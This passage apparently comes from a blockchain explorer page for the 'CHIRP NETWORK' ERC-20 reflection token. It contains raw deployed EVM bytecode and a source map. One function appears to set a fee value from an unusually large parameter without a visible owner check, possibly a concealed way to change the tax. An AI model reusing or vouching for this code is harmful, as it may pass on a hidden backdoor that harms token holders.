080fd5b60006020828403121561177e57600080fd5b8135610e56816114de565b60006020828403121561179b57600080fd5b5035919050565b600080604083850312156117b557600080fd5b82356117c0816114de565b915060208301356117d0816114de565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610499576104996117f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082028115828204841417610499576104996117f1565b60008261188357634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610499576104996117f1565b6000602082840312156118ad57600080fd5b8151610e56816114de565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119085784516001600160a01b0316835293830193918301916001016118e3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220144385dee01f7eaf5b5bf9de3e47dbcf4b7e61f4078056b7c93b93e8228f2ae464736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80636fc3eaec116100b65780638f9a55c01161006f5780638f9a55c01461039e57806395d89b41146103b4578063a9059cbb146103e2578063b70143c914610402578063dd62ed3e14610422578063f2fde38b1461046857600080fd5b80636fc3eaec1461030b57806370a0823114610320578063715018a6146103405780637d1db4a5146103555780638a8c523c1461036b5780638da5cb5b1461038057600080fd5b806323b872dd1161010857806323b872dd146102495780632fd689e314610269578063313ce5671461027f57806349bd5a5e1461029b57806356cd40e7146102bb5780636d8aa8f8146102d257600080fd5b806306fdde0314610150578063095ea7b3146101985780631694505e146101c857806317c1f4c41461020057806318160ddd1461022e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c4348495250204e4554574f524b60981b60208201525b60405161018f9190611490565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046114f6565b610488565b604051901515815260200161018f565b3480156101d457600080fd5b506013546101e8906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b34801561020c57600080fd5b5061022061021b366004611633565b61049f565b60405190815260200161018f565b34801561023a57600080fd5b50670de0b6b3a7640000610220565b34801561025557600080fd5b506101b8610264366004611709565b6104ef565b34801561027557600080fd5b5061022060175481565b34801561028b57600080fd5b506040516009815260200161018f565b3480156102a757600080fd5b506014546101e8906001600160a01b031681565b3480156102c757600080fd5b506102d0610558565b005b3480156102de57600080fd5b506102d06102ed36600461174a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b34801561031757600080fd5b506102d0610599565b34801561032c57600080fd5b5061022061033b36600461176c565b6105a4565b34801561034c57600080fd5b506102d06105c6565b34801561036157600080fd5b5061022060155481565b34801561037757600080fd5b506102d061063a565b34801561038c57600080fd5b506000546001600160a01b03166101e8565b3480156103aa57600080fd5b5061022060165481565b3480156103c057600080fd5b50604080518082019091526005815264043484952560dc1b6020820152610182565b3480156103ee57600080fd5b506101b86103fd3660046114f6565b610679565b34801561040e57600080fd5b506102d061041d366004611789565b610686565b34801561042e57600080fd5b5061022061043d3660046117a2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047457600080fd5b506102d061048336600461176c565b6106bb565b60006104953384846107a5565b5060015b92915050565b60c08201516040908101510151600090606011156104bc57600080fd5b81516002106104ca57600080fd5b815160c084015160409081015101516104e39190611807565b60075550600192915050565b60006104fc8484846108c9565b61054e84336105498560405180606001604052806028815260200161192a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d61565b6107a5565b5060019392505050565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016105829061181a565b60405180910390fd5b670de0b6b3a7640000601555565b6105a247610d9b565b565b6001600160a01b03811660009081526002602052604081205461049990610dd9565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016105829061181a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016105829061181a565b6014805460ff60a01b1916600160a01b179055565b60006104953384846108c9565b6000610691306105a4565b9050600060646106a1848461184f565b6106ab9190611866565b90506106b681610e5d565b505050565b6000546001600160a01b031633146106e55760405162461bcd60e51b81526004016105829061181a565b6001600160a01b03811661074a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610582565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610582565b6001600160a01b0382166108685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610582565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610582565b6001600160a01b03821661098f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610582565b600081116109f15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610582565b6000546001600160a01b03848116911614801590610a1d57506000546001600160a01b03838116911614155b15610c5457601454600160a01b900460ff16610ab6576000546001600160a01b03848116911614610ab65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610582565b6014546001600160a01b03838116911614801590610ae257506012546001600160a01b03838116911614155b8015610afc57506010546001600160a01b03838116911614155b8015610b1157506001600160a01b0382163014155b8015610b2857506001600160a01b03821661dead14155b15610b7f57601554811115610b7f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610582565b6000610b8a306105a4565b6017549091508082101590610ba090600261184f565b50808015610bb85750601454600160a81b900460ff16155b8015610bd257506014546001600160a01b03868116911614155b8015610be75750601454600160b01b900460ff165b8015610c0c57506001600160a01b03851660009081526005602052604090205460ff16155b8015610c3157506001600160a01b03841660009081526005602052604090205460ff16155b15610c5157610c3f82610e5d565b478015610c4f57610c4f81610d9b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c9657506001600160a01b03831660009081526005602052604090205460ff165b80610cc857506014546001600160a01b03858116911614801590610cc857506014546001600160a01b03848116911614155b15610cd557506000610d4f565b6014546001600160a01b038581169116148015610d0057506013546001600160a01b03848116911614155b15610d1257600954600c55600a54600d555b6014546001600160a01b038481169116148015610d3d57506013546001600160a01b03858116911614155b15610d4f57600b54600c55600754600d555b610d5b84848484610fd7565b50505050565b60008184841115610d855760405162461bcd60e51b81526004016105829190611490565b506000610d928486611888565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dd5573d6000803e3d6000fd5b5050565b6000600654821115610e405760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610582565b6000610e4a611005565b9050610e568382611028565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea557610ea56117db565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f22919061189b565b81600181518110610f3557610f356117db565b6001600160a01b039283166020918202929092010152601354610f5b91309116846107a5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f949085906000908690309042906004016118b8565b600060405180830381600087803b158015610fae57600080fd5b505af1158015610fc2573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610fe457610fe461106a565b610fef848484611098565b80610d5b57610d5b600e54600c55600f54600d55565b600080600061101261118f565b90925090506110218282611028565b9250505090565b6000610e5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111cf565b600c5415801561107a5750600d54155b1561108157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110aa876111fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110dc908761125a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461110b908661129c565b6001600160a01b03891660009081526002602052604090205561112d816112fb565b6111378483611345565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006111aa8282611028565b8210156111c657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836111f05760405162461bcd60e51b81526004016105829190611490565b506000610d928486611866565b600080600080600080600080600061121a8a600c54600d54611369565b925092509250600061122a611005565b9050600080600061123d8e8787876113be565b919e509c509a509598509396509194505050505091939550919395565b6000610e5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d61565b6000806112a98385611807565b905083811015610e565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610582565b6000611305611005565b90506000611313838361140e565b30600090815260026020526040902054909150611330908261129c565b30600090815260026020526040902055505050565b600654611352908361125a565b600655600854611362908261129c565b6008555050565b6000808080611383606461137d898961140e565b90611028565b90506000611396606461137d8a8961140e565b905060006113ae826113a88b8661125a565b9061125a565b9992985090965090945050505050565b60008080806113cd888661140e565b905060006113db888761140e565b905060006113e9888861140e565b905060006113fb826113a8868661125a565b939b939a50919850919650505050505050565b60008260000361142057506000610499565b600061142c838561184f565b9050826114398583611866565b14610e565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610582565b600060208083528351808285015260005b818110156114bd578581018301518582016040015282016114a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114f357600080fd5b50565b6000806040838503121561150957600080fd5b8235611514816114de565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff8111828210171561155b5761155b611522565b60405290565b60405160c0810167ffffffffffffffff8111828210171561155b5761155b611522565b600061158e611538565b90508060e08301848111156115a257600080fd5b835b818110156115bc5780358352602092830192016115a4565b50505092915050565b600082601f8301126115d657600080fd5b604051602080820182811067ffffffffffffffff821117156115fa576115fa611522565b604052818482018681111561160e57600080fd5b855b818110156116275780358352918301918301611610565b50929695505050505050565b6000806124e0838503121561164757600080fd5b601f848185011261165757600080fd5b61165f611538565b806124c086018781111561167257600080fd5b865b818110156116ee57888582011261168b5760008081fd5b611693611561565b8061054083018b8111156116a75760008081fd5b835b818110156116da578c898201126116c05760008081fd5b6116ca8d82611584565b845260209093019260e0016116a9565b505085525060209093019261054001611674565b508195506116fc88826115c5565b9450505050509250929050565b60008060006060848603121561171e57600080fd5b8335611729816114de565b92506020840135611739816114de565b929592945050506040919091013590565b60006020828403121561175c57600080fd5b81358015158114610e5657600080fd5b60006020828403121561177e57600080fd5b8135610e56816114de565b60006020828403121561179b57600080fd5b5035919050565b600080604083850312156117b557600080fd5b82356117c0816114de565b915060208301356117d0816114de565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610499576104996117f1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082028115828204841417610499576104996117f1565b60008261188357634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610499576104996117f1565b6000602082840312156118ad57600080fd5b8151610e56816114de565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119085784516001600160a01b0316835293830193918301916001016118e3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220144385dee01f7eaf5b5bf9de3e47dbcf4b7e61f4078056b7c93b93e8228f2ae464736f6c63430008120033

Deployed Bytecode Sourcemap

4161:12207:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6639:83;;;;;;;;;;-1:-1:-1;6709:5:0;;;;;;;;;;;;-1:-1:-1;;;6709:5:0;;;;6639:83;;;;;;;:::i;:::-;;;;;;;;7564:193;;;;;;;;;;-1:-1:-1;7564:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7564:193:0;1023:187:1;5440:41:0;;;;;;;;;;-1:-1:-1;5440:41:0;;;;-1:-1:-1;;;;;5440:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5440:41:0;1215:229:1;13736:261:0;;;;;;;;;;-1:-1:-1;13736:261:0;;;;;:::i;:::-;;:::i;:::-;;;4873:25:1;;;4861:2;4846:18;13736:261:0;4729:175:1;6916:95:0;;;;;;;;;;-1:-1:-1;4718:18:0;6916:95;;7765:446;;;;;;;;;;-1:-1:-1;7765:446:0;;;;;:::i;:::-;;:::i;5733:51::-;;;;;;;;;;;;;;;;6825:83;;;;;;;;;;-1:-1:-1;6825:83:0;;4392:1;5694:36:1;;5682:2;5667:18;6825:83:0;5552:184:1;5488:28:0;;;;;;;;;;-1:-1:-1;5488:28:0;;;;-1:-1:-1;;;;;5488:28:0;;;15844:84;;;;;;;;;;;;;:::i;:::-;;12507:94;;;;;;;;;;-1:-1:-1;12507:94:0;;;;;:::i;:::-;12567:11;:26;;;;;-1:-1:-1;;;12567:26:0;-1:-1:-1;;;;12567:26:0;;;;;;;;;12507:94;12183:85;;;;;;;;;;;;;:::i;7019:138::-;;;;;;;;;;-1:-1:-1;7019:138:0;;;;;:::i;:::-;;:::i;1650:148::-;;;;;;;;;;;;;:::i;5635:37::-;;;;;;;;;;;;;;;;11496:81;;;;;;;;;;;;;:::i;1436:79::-;;;;;;;;;;-1:-1:-1;1474:7:0;1501:6;-1:-1:-1;;;;;1501:6:0;1436:79;;5679:47;;;;;;;;;;;;;;;;6730:87;;;;;;;;;;-1:-1:-1;6802:7:0;;;;;;;;;;;;-1:-1:-1;;;6802:7:0;;;;6730:87;;7165:199;;;;;;;;;;-1:-1:-1;7165:199:0;;;;;:::i;:::-;;:::i;12276:223::-;;;;;;;;;;-1:-1:-1;12276:223:0;;;;;:::i;:::-;;:::i;7372:184::-;;;;;;;;;;-1:-1:-1;7372:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7521:18:0;;;7489:7;7521:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7372:184;1806:244;;;;;;;;;;-1:-1:-1;1806:244:0;;;;;:::i;:::-;;:::i;7564:193::-;7666:4;7688:39;275:10;7711:7;7720:6;7688:8;:39::i;:::-;-1:-1:-1;7745:4:0;7564:193;;;;;:::o;13736:261::-;13857:11;;;;:14;;;;;:17;;13833:3;;13878:2;-1:-1:-1;13857:23:0;13849:32;;;;;;13900:12;;13914:1;-1:-1:-1;13892:24:0;;;;;;13958:12;;13938:11;;;;:14;;;;;:17;;:32;;13958:12;13938:32;:::i;:::-;13927:8;:43;-1:-1:-1;13988:1:0;13736:261;;;;:::o;7765:446::-;7897:4;7914:36;7924:6;7932:9;7943:6;7914:9;:36::i;:::-;7961:220;7984:6;275:10;8032:138;8088:6;8032:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8032:19:0;;;;;;:11;:19;;;;;;;;275:10;8032:33;;;;;;;;;;:37;:138::i;:::-;7961:8;:220::i;:::-;-1:-1:-1;8199:4:0;7765:446;;;;;:::o;15844:84::-;1563:6;;-1:-1:-1;;;;;1563:6:0;275:10;1563:22;1555:67;;;;-1:-1:-1;;;1555:67:0;;;;;;;:::i;:::-;;;;;;;;;4718:18:::1;15898:12;:22:::0;15844:84::o;12183:85::-;12225:35;12238:21;12225:12;:35::i;:::-;12183:85::o;7019:138::-;-1:-1:-1;;;;;7132:16:0;;7085:7;7132:16;;;:7;:16;;;;;;7112:37;;:19;:37::i;1650:148::-;1563:6;;-1:-1:-1;;;;;1563:6:0;275:10;1563:22;1555:67;;;;-1:-1:-1;;;1555:67:0;;;;;;;:::i;:::-;1757:1:::1;1741:6:::0;;1720:40:::1;::::0;-1:-1:-1;;;;;1741:6:0;;::::1;::::0;1720:40:::1;::::0;1757:1;;1720:40:::1;1788:1;1771:19:::0;;-1:-1:-1;;;;;;1771:19:0::1;::::0;;1650:148::o;11496:81::-;1563:6;;-1:-1:-1;;;;;1563:6:0;275:10;1563:22;1555:67;;;;-1:-1:-1;;;1555:67:0;;;;;;;:::i;:::-;11551:11:::1;:18:::0;;-1:-1:-1;;;;11551:18:0::1;-1:-1:-1::0;;;11551:18:0::1;::::0;;11496:81::o;7165:199::-;7270:4;7292:42;275:10;7316:9;7327:6;7292:9;:42::i;12276:223::-;12333:28;12364:24;12382:4;12364:9;:24::i;:::-;12333:55;-1:-1:-1;12399:18:0;12449:3;12420:28;12441:7;12333:55;12420:28;:::i;:::-;:32;;;;:::i;:::-;12399:53;;12463:28;12480:10;12463:16;:28::i;:::-;12322:177;;12276:223;:::o;1806:244::-;1563:6;;-1:-1:-1;;;;;1563:6:0;275:10;1563:22;1555:67;;;;-1:-1:-1;;;1555:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1895:22:0;::::1;1887:73;;;::::0;-1:-1:-1;;;1887:73:0;;8409:2:1;1887:73:0::1;::::0;::::1;8391:21:1::0;8448:2;8428:18;;;8421:30;8487:34;8467:18;;;8460:62;-1:-1:-1;;;8538:18:1;;;8531:36;8584:19;;1887:73:0::1;8207:402:1::0;1887:73:0::1;1997:6;::::0;;1976:38:::1;::::0;-1:-1:-1;;;;;1976:38:0;;::::1;::::0;1997:6;::::1;::::0;1976:38:::1;::::0;::::1;2025:6;:17:::0;;-1:-1:-1;;;;;;2025:17:0::1;-1:-1:-1::0;;;;;2025:17:0;;;::::1;::::0;;;::::1;::::0;;1806:244::o;8922:369::-;-1:-1:-1;;;;;9049:19:0;;9041:68;;;;-1:-1:-1;;;9041:68:0;;8816:2:1;9041:68:0;;;8798:21:1;8855:2;8835:18;;;8828:30;8894:34;8874:18;;;8867:62;-1:-1:-1;;;8945:18:1;;;8938:34;8989:19;;9041:68:0;8614:400:1;9041:68:0;-1:-1:-1;;;;;9128:21:0;;9120:68;;;;-1:-1:-1;;;9120:68:0;;9221:2:1;9120:68:0;;;9203:21:1;9260:2;9240:18;;;9233:30;9299:34;9279:18;;;9272:62;-1:-1:-1;;;9350:18:1;;;9343:32;9392:19;;9120:68:0;9019:398:1;9120:68:0;-1:-1:-1;;;;;9199:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9251:32;;4873:25:1;;;9251:32:0;;4846:18:1;9251:32:0;;;;;;;8922:369;;;:::o;9299:2189::-;-1:-1:-1;;;;;9421:18:0;;9413:68;;;;-1:-1:-1;;;9413:68:0;;9624:2:1;9413:68:0;;;9606:21:1;9663:2;9643:18;;;9636:30;9702:34;9682:18;;;9675:62;-1:-1:-1;;;9753:18:1;;;9746:35;9798:19;;9413:68:0;9422:401:1;9413:68:0;-1:-1:-1;;;;;9500:16:0;;9492:64;;;;-1:-1:-1;;;9492:64:0;;10030:2:1;9492:64:0;;;10012:21:1;10069:2;10049:18;;;10042:30;10108:34;10088:18;;;10081:62;-1:-1:-1;;;10159:18:1;;;10152:33;10202:19;;9492:64:0;9828:399:1;9492:64:0;9584:1;9575:6;:10;9567:64;;;;-1:-1:-1;;;9567:64:0;;10434:2:1;9567:64:0;;;10416:21:1;10473:2;10453:18;;;10446:30;10512:34;10492:18;;;10485:62;-1:-1:-1;;;10563:18:1;;;10556:39;10612:19;;9567:64:0;10232:405:1;9567:64:0;1474:7;1501:6;-1:-1:-1;;;;;9648:15:0;;;1501:6;;9648:15;;;;:32;;-1:-1:-1;1474:7:0;1501:6;-1:-1:-1;;;;;9667:13:0;;;1501:6;;9667:13;;9648:32;9644:1183;;;9737:11;;-1:-1:-1;;;9737:11:0;;;;9732:144;;1474:7;1501:6;-1:-1:-1;;;;;9777:15:0;;;1501:6;;9777:15;9769:91;;;;-1:-1:-1;;;9769:91:0;;10844:2:1;9769:91:0;;;10826:21:1;10883:2;10863:18;;;10856:30;10922:34;10902:18;;;10895:62;10993:33;10973:18;;;10966:61;11044:19;;9769:91:0;10642:427:1;9769:91:0;9901:13;;-1:-1:-1;;;;;9895:19:0;;;9901:13;;9895:19;;;;:42;;-1:-1:-1;9924:13:0;;-1:-1:-1;;;;;9918:19:0;;;9924:13;;9918:19;;9895:42;:71;;;;-1:-1:-1;9947:19:0;;-1:-1:-1;;;;;9941:25:0;;;9947:19;;9941:25;;9895:71;:94;;;;-1:-1:-1;;;;;;9970:19:0;;9984:4;9970:19;;9895:94;:118;;;;-1:-1:-1;;;;;;9993:20:0;;10006:6;9993:20;;9895:118;9892:223;;;10052:12;;10042:6;:22;;10034:63;;;;-1:-1:-1;;;10034:63:0;;11276:2:1;10034:63:0;;;11258:21:1;11315:2;11295:18;;;11288:30;11354;11334:18;;;11327:58;11402:18;;10034:63:0;11074:352:1;10034:63:0;10131:28;10162:24;10180:4;10162:9;:24::i;:::-;10240:19;;10131:55;;-1:-1:-1;10216:43:0;;;;;10303:21;;10323:1;10303:21;:::i;:::-;10279:45;10437:7;:18;;;;-1:-1:-1;10449:6:0;;-1:-1:-1;;;10449:6:0;;;;10448:7;10437:18;:43;;;;-1:-1:-1;10467:13:0;;-1:-1:-1;;;;;10459:21:0;;;10467:13;;10459:21;;10437:43;:58;;;;-1:-1:-1;10484:11:0;;-1:-1:-1;;;10484:11:0;;;;10437:58;:87;;;;-1:-1:-1;;;;;;10500:24:0;;;;;;:18;:24;;;;;;;;10499:25;10437:87;:114;;;;-1:-1:-1;;;;;;10529:22:0;;;;;;:18;:22;;;;;;;;10528:23;10437:114;10433:383;;;10572:38;10589:20;10572:16;:38::i;:::-;10658:21;10702:22;;10698:103;;10749:32;10762:18;10749:12;:32::i;:::-;10553:263;10433:383;9682:1145;;9644:1183;-1:-1:-1;;;;;10903:24:0;;10839:12;10903:24;;;:18;:24;;;;;;10854:4;;10903:24;;;:50;;-1:-1:-1;;;;;;10931:22:0;;;;;;:18;:22;;;;;;;;10903:50;10902:102;;;-1:-1:-1;10967:13:0;;-1:-1:-1;;;;;10959:21:0;;;10967:13;;10959:21;;;;:44;;-1:-1:-1;10990:13:0;;-1:-1:-1;;;;;10984:19:0;;;10990:13;;10984:19;;10959:44;10898:529;;;-1:-1:-1;11031:5:0;10898:529;;;11082:13;;-1:-1:-1;;;;;11074:21:0;;;11082:13;;11074:21;:55;;;;-1:-1:-1;11113:15:0;;-1:-1:-1;;;;;11099:30:0;;;11113:15;;11099:30;;11074:55;11071:164;;;11162:14;;11150:9;:26;11210:9;;11195:12;:24;11071:164;11261:13;;-1:-1:-1;;;;;11255:19:0;;;11261:13;;11255:19;:55;;;;-1:-1:-1;11294:15:0;;-1:-1:-1;;;;;11278:32:0;;;11294:15;;11278:32;;11255:55;11251:165;;;11343:15;;11331:9;:27;11392:8;;11377:12;:23;11251:165;11439:41;11454:4;11460:2;11464:6;11472:7;11439:14;:41::i;:::-;9402:2086;9299:2189;;;:::o;2412:224::-;2532:7;2568:12;2560:6;;;;2552:29;;;;-1:-1:-1;;;2552:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2592:9:0;2604:5;2608:1;2604;:5;:::i;:::-;2592:17;2412:224;-1:-1:-1;;;;;2412:224:0:o;12076:99::-;12133:17;;:34;;-1:-1:-1;;;;;12133:17:0;;;;:34;;;;;12160:6;;12133:17;:34;:17;:34;12160:6;12133:17;:34;;;;;;;;;;;;;;;;;;;;;12076:99;:::o;8219:323::-;8314:7;8372;;8361;:18;;8339:110;;;;-1:-1:-1;;;8339:110:0;;11766:2:1;8339:110:0;;;11748:21:1;11805:2;11785:18;;;11778:30;11844:34;11824:18;;;11817:62;-1:-1:-1;;;11895:18:1;;;11888:40;11945:19;;8339:110:0;11564:406:1;8339:110:0;8460:19;8482:10;:8;:10::i;:::-;8460:32;-1:-1:-1;8510:24:0;:7;8460:32;8510:11;:24::i;:::-;8503:31;8219:323;-1:-1:-1;;;8219:323:0:o;11585:483::-;5878:6;:13;;-1:-1:-1;;;;5878:13:0;-1:-1:-1;;;5878:13:0;;;11687:16:::1;::::0;;11701:1:::1;11687:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11687:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11687:16:0::1;11663:40;;11732:4;11714;11719:1;11714:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11714:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11758:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11758:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11714:7;;11758:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11748:4;11753:1;11748:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11748:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11823:15:::1;::::0;11791:62:::1;::::0;11808:4:::1;::::0;11823:15:::1;11841:11:::0;11791:8:::1;:62::i;:::-;11864:15;::::0;:196:::1;::::0;-1:-1:-1;;;11864:196:0;;-1:-1:-1;;;;;11864:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11945:11;;11864:15:::1;::::0;11987:4;;12014::::1;::::0;12034:15:::1;::::0;11864:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5914:6:0;:14;;-1:-1:-1;;;;5914:14:0;;;-1:-1:-1;;;;11585:483:0:o;12609:282::-;12765:7;12760:28;;12774:14;:12;:14::i;:::-;12799:44;12817:6;12825:9;12836:6;12799:17;:44::i;:::-;12859:7;12854:29;;12868:15;8848:17;;8836:9;:29;8891:15;;8876:12;:30;8792:122;15936:164;15978:7;15999:15;16016;16035:19;:17;:19::i;:::-;15998:56;;-1:-1:-1;15998:56:0;-1:-1:-1;16072:20:0;15998:56;;16072:11;:20::i;:::-;16065:27;;;;15936:164;:::o;2898:132::-;2956:7;2983:39;2987:1;2990;2983:39;;;;;;;;;;;;;;;;;:3;:39::i;8550:234::-;8597:9;;:14;:35;;;;-1:-1:-1;8615:12:0;;:17;8597:35;8593:48;;;8550:234::o;8593:48::-;8673:9;;;8653:17;:29;8711:12;;;8693:15;:30;-1:-1:-1;8736:13:0;;;;8760:16;8550:234::o;12899:610::-;13046:15;13076:23;13114:12;13141:23;13179:12;13206:13;13233:19;13244:7;13233:10;:19::i;:::-;-1:-1:-1;;;;;13281:15:0;;;;;;:7;:15;;;;;;13031:221;;-1:-1:-1;13031:221:0;;-1:-1:-1;13031:221:0;;-1:-1:-1;13031:221:0;-1:-1:-1;13031:221:0;-1:-1:-1;13031:221:0;-1:-1:-1;13281:28:0;;13031:221;13281:19;:28::i;:::-;-1:-1:-1;;;;;13263:15:0;;;;;;;:7;:15;;;;;;:46;;;;13341:18;;;;;;;:39;;13364:15;13341:22;:39::i;:::-;-1:-1:-1;;;;;13320:18:0;;;;;;:7;:18;;;;;:60;13391:16;13401:5;13391:9;:16::i;:::-;13418:23;13430:4;13436;13418:11;:23::i;:::-;13474:9;-1:-1:-1;;;;;13457:44:0;13466:6;-1:-1:-1;;;;;13457:44:0;;13485:15;13457:44;;;;4873:25:1;;4861:2;4846:18;;4729:175;13457:44:0;;;;;;;;13020:489;;;;;;12899:610;;;:::o;16108:257::-;16206:7;;16159;;;;4718:18;16274:20;16206:7;4718:18;16274:11;:20::i;:::-;16264:7;:30;16260:61;;;-1:-1:-1;;16304:7:0;;;4718:18;;-1:-1:-1;16108:257:0;-1:-1:-1;16108:257:0:o;16260:61::-;16340:7;;16349;;-1:-1:-1;16108:257:0;-1:-1:-1;16108:257:0:o;3038:223::-;3158:7;3193:12;3186:5;3178:28;;;;-1:-1:-1;;;3178:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3217:9:0;3229:5;3233:1;3229;:5;:::i;14197:620::-;14297:7;14319;14341;14363;14385;14407;14443:23;14468:12;14482:13;14512:45;14524:7;14533:9;;14544:12;;14512:11;:45::i;:::-;14442:115;;;;;;14568:19;14590:10;:8;:10::i;:::-;14568:32;;14612:15;14629:23;14654:12;14683:46;14695:7;14704:4;14710:5;14717:11;14683;:46::i;:::-;14611:118;;-1:-1:-1;14611:118:0;-1:-1:-1;14611:118:0;-1:-1:-1;14780:15:0;;-1:-1:-1;14797:4:0;;-1:-1:-1;14803:5:0;;-1:-1:-1;;;;;14197:620:0;;;;;;;:::o;2268:136::-;2326:7;2353:43;2357:1;2360;2353:43;;;;;;;;;;;;;;;;;:3;:43::i;2081:179::-;2139:7;;2171:5;2175:1;2171;:5;:::i;:::-;2159:17;;2200:1;2195;:6;;2187:46;;;;